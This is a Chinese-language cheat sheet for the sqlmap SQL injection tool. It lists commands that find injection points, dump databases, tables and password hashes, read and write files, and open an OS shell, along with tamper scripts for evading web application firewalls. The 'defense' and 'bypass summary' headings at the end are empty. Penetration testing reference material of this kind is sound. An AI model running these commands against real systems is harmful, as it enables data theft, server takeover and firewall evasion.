0x01. Sqlmap支持的数据库
SQLMap支持的数据库: | |||
MySQL | Oracle | PostgreSQL | Microsoft SQL Server |
Microsoft Access | IBM DB2 | SQLite | Firebird |
Sybase | SAP MaxDB |
0x02. 基本使用
- sqlmap -u ”URL“ --data ”POST数据“ 查询注入点
- sqlmap -u ”URL“ --data ”POST数据“ --dbs 列出数据库
- sqlmap -u ”URL“ --data ”POST数据“ --current-user 获取当前用户名
- sqlmap -u ”URL“ --data ”POST数据“ --current-db 获取当前数据库名称
- sqlmap -u ”URL“ --data ”POST数据“ --passwords 数据库用户密码
- sqlmap -u ”URL“ --data ”POST数据“ --is-dba -v 1 是否是管理员
- sqlmap -u ”URL“ --data ”POST数据“ -D 库 --tables 查询表
- sqlmap -u ”URL“ --data ”POST数据“ -D 库 -T 表 --columns 查询字段
- sqlmap -u ”URL“ --data ”POST数据“ -D 库 -T 表 -C 字段,字段 --dump
SQLMap基本命令
- --passwords#数据库用户密码
- --is-dba #是否是数据库管理员
- --os-shell 写shell
- --cookie 当有验证的时候
- --file-read 文件
- --file-write 写文件
- --flush-session 清除缓存
- --threads=《number》设定线程数
0x03. Sqlmap参数命令
SQLMap参数命令 | |
--method=<http方法> | 指定使用的http方法 |
--data=<post数据> | 提交post数据并对post数据进行测试 |
--param-del=<分隔符> | 指定参数的分隔符 |
--cookie <cookie键值对> | 添加cookie http请求头 |
--headers <http请求头字段和字段值> | 添加http请求头,不同的头使用“(n”分隔 |
--auth-type和--auth-cred | 指定认证方式并指定使用的凭证 |
--auth-file | 指定使用的证书文件 |
--keep-alive | 使用http长连接,该参数与--proxy参数矛盾 |
--null-connection | 只获取http响应的长度(大小)而不获取真正的响应体,可以节约布尔型盲注使用的带宽 |
--threads=<number> | 设定线程数 |
--o | 相当于同时设定以上三个参数 |
--p<参数列表> | 指定要测试的参数,不同的参数使用“,”分隔 |
--skip=<参数列表> | 指定哪些参数不测试,不同参数使用“,”分隔 |
*-- | 指出为静态网页的参数位置,如“/id/1*/” |
--dbms<数据库类型> | 指定数据库类型 |
--prefix<前缀>和-suffix<后缀> | 指定PAYLOAD的前缀和后缀 |
--tables | 获取数据表 |
-b/--banner | 获取数据库版本 |
--current-user | 显示当前数据库用户名 |
--is-dba | 判断当前用户是否为管理员用户 |
--dbs | 列出数据库系统的所有数据库 |
--tables/--exclude-sysdbs/-D | 测试数据表 |
--dump | 获取字段的值 |
--columns | 获取数据字段 |
--dump/--start/--stop/--first/--last | 测试数据数据字段的值 |
--proxy、--proxy-cred、-proxy-file和--ignore-proxy | 关于代理的参数 |
--tor、--tor-type、--tor-port和--check-tor | 关于tor匿名网络的参数 |
--risk | 指定风险等级 |
--level | 指定检测等级 |
--technique | 指定要使用的注入技术 |
--common-tables和--common-columns | 暴力破解表名和列名 |
--os-cmd=OSCMD | 执行系统命令 |
--os-shell | 交互命令执行(写入shell) |
--sql-shell | 执行SQL语句 |
--os-pwn--msf-path | 结合Meterpreter |
SQLMap参数命令示例
- sqlmap-u"http://url/news?id=1"--current-user#获取当前用户名称
- sqlmap-u"http://url/news?id=1"--current-db#获取当前数据库名称
- sqlmap-u"http://url/news?id=1"-dbs#列数据库
0x04 Sqlmap脚本使用
sqlmap下的tamper目录存放绕过WAF脚本
使用方法 --tamper 脚本名称,脚本名称
多个tamper脚本之间用空格隔开
apostrophemask.py | 用utf8代替引号 |
equaltolike.py | like代替等号 |
space2dash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) |
greatest.py | 绕过过滤 > |
space2hash.py | 空格替换为#号 随机字符串以及换行符 |
apostrophenulencode.py | 绕过过滤双引号,替换字符和双引号。 |
halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 |
space2mssqlblank.py | 空格替换为其它空符号 |
base64encode.py | 用base64编码替换 |
modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 |
space2mysqlblank.py | 空格替换其它空白符号(mysql) |
between.py | 用between替换大于号(>) |
space2mysqldash.py | 替换空格字符(' ')(' -')后跟一个破折号注释一个新行(' n') |
space2plus.py | 用+替换空格 |
防御
绕过汇总